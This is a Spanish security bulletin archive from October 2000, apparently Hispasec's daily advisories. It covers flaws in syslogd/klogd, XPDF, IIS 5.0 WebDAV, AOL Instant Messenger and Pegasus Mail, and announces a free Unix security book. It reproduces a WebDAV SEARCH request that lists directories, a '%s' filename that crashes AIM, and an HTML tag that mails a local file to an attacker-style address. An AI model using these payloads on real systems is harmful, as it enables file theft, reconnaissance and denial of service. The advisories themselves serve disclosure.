http://www.atstake.com/research/advisories/2000/index_q3.html#092600-1

No Security
http://www.geocities.com/SiliconValley/Cable/5206/nosecurity.htm

J-Pilot
http://jpilot.linuxave.net/



lunes, 9 de octubre de 2000

Graves problemas en klogd/syslogd

klogd y syslogd tienen tres fallos de seguridad, algunos de los cuales
permiten ejecutar código arbitrario en un servidor Unix.
klogd y syslogd son los demonios de "logging" genéricos del mundo
Unix. Las implementaciones anteriores al paquete "sysklogd-1.4" tienen
tres problemas:

1. klogd tiene un error de formato que permite la ejecución de código
arbitrario, típicamente con los privilegios del administrador o
"root".

2. syslogd tiene un desbordamiento de búfer de un byte, que atacado de
forma conveniente podría permitir la ejecución de código arbitrario
en el servidor como administrador o "root".

3. syslog puede enviar un mensaje de "log" a todos los usuarios
conectados, cuando dicho mensaje es lo bastante largo.

La recomendación es actualizar a "sysklog-1.4".

El problema parece afectar también a otras implementaciones "syslog",
como es el caso de "msyslog", de la compañía Argentina Core-SDI.



Jesús Cea Avión
jcea@hispasec.com


Más información:

syslog format vulnerability in klogd
http://www.redhat.com/support/errata/RHSA-2000-061-02.html

sysklogd: root exploit
http://www.debian.org/security/2000/20000919

Security problems in syslogd/klogd
http://www.calderasystems.com/support/security/advisories/CSSA-2000-032.0.txt

syslogd/klogd: local DoS, possible root compromise
http://www.suse.com/de/support/security/adv9_draht_syslogd_txt.txt

Debian Bug report logs - #32580
netstd: odd wall message after mountd buffer overrun attempt
http://bugs.debian.org/cgi-bin/bugreport.cgi?archive=no&bug=32580

Modular Syslog
http://www.core-sdi.com/spanish/slogging/modular-dl.htm



domingo, 8 de octubre de 2000

Graves problemas en XPDF

Las versiones de XPDF anteriores a la 0.91-3 contienen dos problemas
de seguridad que permiten la sobreescritura de cualquier fichero del
sistema, y la ejecución de código arbitrario en la máquina atacada.
XPDF es una utilidad para visualizar documentos PDF en entorno
X-Window. Una de las vulnerabilidades es debida a un uso inseguro de
los ficheros temporales. El otro problema se debe a la gestión
incorrecta de los caracteres especiales en los enlaces URL contenidos
en los documentos PDF.

El primer problema es explotable únicamente por usuarios en la máquina
local, mientras que el segundo ataque se puede realizar enviando a la
víctima un documento PDF convenientemente manipulado.

La recomendación es actualizar cuanto antes a XPDF 0.91-3 o superior.



Jesús Cea Avión
jcea@hispasec.com


Más información:

Multiple Linux Vendor Xpdf Embedded URL Vulnerability
http://www.securityfocus.com/bid/1624

xpdf bugfix release
http://www.redhat.com/support/errata/RHSA-2000-060-03.html

xpdf: local exploit
http://www.debian.org/security/2000/20000910a

Security problems in xpdf
http://www.calderasystems.com/support/security/advisories/CSSA-2000-031.0.txt



sábado, 7 de octubre de 2000

Listado de directorios no autorizado en IIS 5.0

Entre las nuevas caracerísticas de Internet Information Server 5.0
se cuenta la inclusión de unas extensiones del protocolo http 1.1
conocidas como WebDAV. La inclusión de un método de petición en esta
nueva característica puede ser explotada para conseguir el listado
de cualquier directorio.
WebDAV son unas extensiones del protocolo http 1.1 que especifican un
conjunto de métodos, cabeceras y tipos que permiten a los
administradores realizar operaciones de publicación de contenido de
forma remota. Las especificaciones de estas extensiones vienen
dictadas en la RFC 2518. Como parte de las funcionalidades adicionales
proporcionadas por WebDAV Microsoft incluye el método de petición
SEARCH para facilitar la búsqueda de archivos en base a ciertos
criterios. Pero esta funcionalidad puede ser explotada para conseguir
un listado de los archivos de un directorio.

Los listados de directorio pueden ser empleados por un atacante para
localizar archivos en los directorios del web que no son normalmente
expuestos a través de enlaces en el sitio. Esto puede revelar páginas
que sólo son conocidas por los autores del web, páginas de
administración, o archivos .inc.

Para reproducir el problema y realizar la petición SEARCH maliciosa,
es necesario que se encuentre activo el servicio de Index Server. Para
conseguir el listado de cualquier directorio se puede realizar una
petición similar a la siguiente:

SEARCH / HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
Content-Length: 133

<?xml version="1.0"?>
<g:searchrequest xmlns:g="DAV:">
<g:sql>
Select "DAV:displayname" from scope()
</g:sql>
</g:searchrequest>



Antonio Ropero
antonior@hispasec.com


Más información:

@Stake
http://www.atstake.com/research/advisories/2000/a100400-1.txt

RFC 2518
http://www.rfc-editor.org/rfc/rfc2518.txt



viernes, 6 de octubre de 2000

Ataque DoS en AOL Instant Messenger

AOL Instant Messenger, el cliente de charla y contacto personal por
Internet utilizado por más de 60 millones de usuarios, no maneja
de forma correcta los ficheros que contienen en su nombre los
caracteres "%s". Este problema puede ser aprovechado por un
atacante, de forma remota, para provocar una denegación de servicio.
En AOL Instant Messenger 4.1.2010 para Windows, versión distribuida
también junto a Netscape, se produce un error al intentar manejar un
fichero cuyo nombre está formado por un número determinado de "%s",
lo que causa que el programa deje de funcionar.

Un atacante puede renombrar un fichero como %s%s%s%s%s%s%s%s%s%s.jpg
y enviarlo a un usuario de AOL Instant Messenger. El programa de
la víctima, al intentar manejar el nombre del fichero para mostrarlo
en la ventana y así informar al usuario del envío, dejará de
funcionar.

Existe una opción en AOL Instant Messenger para que emita un aviso
de alerta antes de aceptar mensajes, o transferencia de ficheros,
que provengan de personas que no se encuentran en nuestra lista de
habituales. Pero esta opción sólo genera el aviso, y no evita se
produzca el error en el cliente. Los usuarios afectados por este
ataque deberán reiniciar la aplicación para volver a la normalidad.

De momento, America Online no se ha pronunciado al respecto, si bien
se espera que lo haga en breve para proporcionar un parche o nueva
versión que solucione esta vulnerabilidad.



Bernardo Quintero
bernardo@hispasec.com


Más información:

Bugtraq
http://www.securityfocus.com/archive/1/137374

AOL Instant Messenger
http://www.aol.com/aim/home.html

Problemas de seguridad en MSN Messenger
http://www.hispasec.com/unaaldia.asp?id=272



jueves, 5 de octubre de 2000

Vulnerabilidad en Pegasus Mail 3.12

El cliente de correo Pegasus Mail, en su versión 3.12, puede enviar
de forma automática cualquier fichero del sistema de un usuario al
visitar una página web especialmente diseñada para la ocasión.
El código en la página web para explotar la vulnerabilidad es el
siguiente:

<img src="mailto:hacker@hakersite.com -F c:\test.txt">

Cuando un usuario visualiza la página web el cliente de correo Pegasus
Mail envía a la dirección hacker@hackersite.com el fichero local al
que se hace referencia, en esta caso c:\test.txt. El problema ha sido
explotado con éxito en la última versión disponible del cliente de
correo, la 3.12c, utilizando como navegador Internet Explorer 5 en
cualquiera de las versiones de Windows existentes.

El creador del programa está avisado del problema y anuncia que en
breve emitirá una solución. Mientras tanto, se aconseja a los usuarios
de Pegasus Mail que no mantengan el cliente de correo abierto mientras
navegan. Si bien la vulnerabilidad continuaría existiendo, el código
de la página web abriría Pegasus Mail de forma automática para enviar
el mensaje, lo que alertaría al usuario afectado. Otras soluciones
más drásticas pasan por cambiar de cliente de correo.



Bernardo Quintero
bernardo@hispasec.com


Más información:

Bugtraq
http://www.securityfocus.com/archive/1/137162

Pegasus Mail
http://www.pmail.com/



miércoles, 4 de octubre de 2000

Libro "Seguridad en Unix y Redes" v1.2

Disponible la última versión del libro "Seguridad en UNIX y Redes", de
Antonio Villalón Huerta, gratuito y descargable en formato PDF.
El libro, cuya versión 1.0 fue anunciada en su día por nuestros
compañeros de LuCAS y Kriptópolis, es parte del proyecto fin de
carrera de su autor. Esta nueva revisión, 1.2, corrige erratas y
amplía algunas secciones.

"Seguridad en Unix y Redes" v1.2 se distribuye en formato PDF de forma
gratuita bajo las condiciones de la Open Publication License. Sus
360 páginas pueden ser descargadas en un fichero comprimido de
2.2Mbytes (5.6Mbytes descomprimido), desde la dirección:

http://download.hispasec.com/hispasec/unixsec.zip

A continuación se lista el índice de materias:

Notas del autor
1.Introducción y conceptos previos

Seguridad del entorno de operaciones
2.Seguridad física de los sistemas
3.Administradores, usuarios y personal

Seguridad del sistema
4.El sistema de ficheros
5.Programas seguros, inseguros y nocivos
6.Auditoría del sistema
7.Copias de seguridad
8.Autenticación de usuarios
9.Seguridad del núcleo

Seguridad de la subred
10.El sistema de red
11.Algunos servicios y protocolos
12.Cortafuegos
13.Kerberos

Otros aspectos de la seguridad
14.Criptología
15.Algunas herramientas de seguridad
16.Políticas y normativa

Apéndices
A.Seguridad básica para administradores
B.Normativa
C.Recursos de interés en Internet
D.Glosario de términos anglosajones

Conclusiones



Jesús Cea Avión
jcea@hispasec.com


Más información:

Descarga "Seguridad en Unix y Redes" v1.2
http://download.hispasec.com/hispasec/unixsec.zip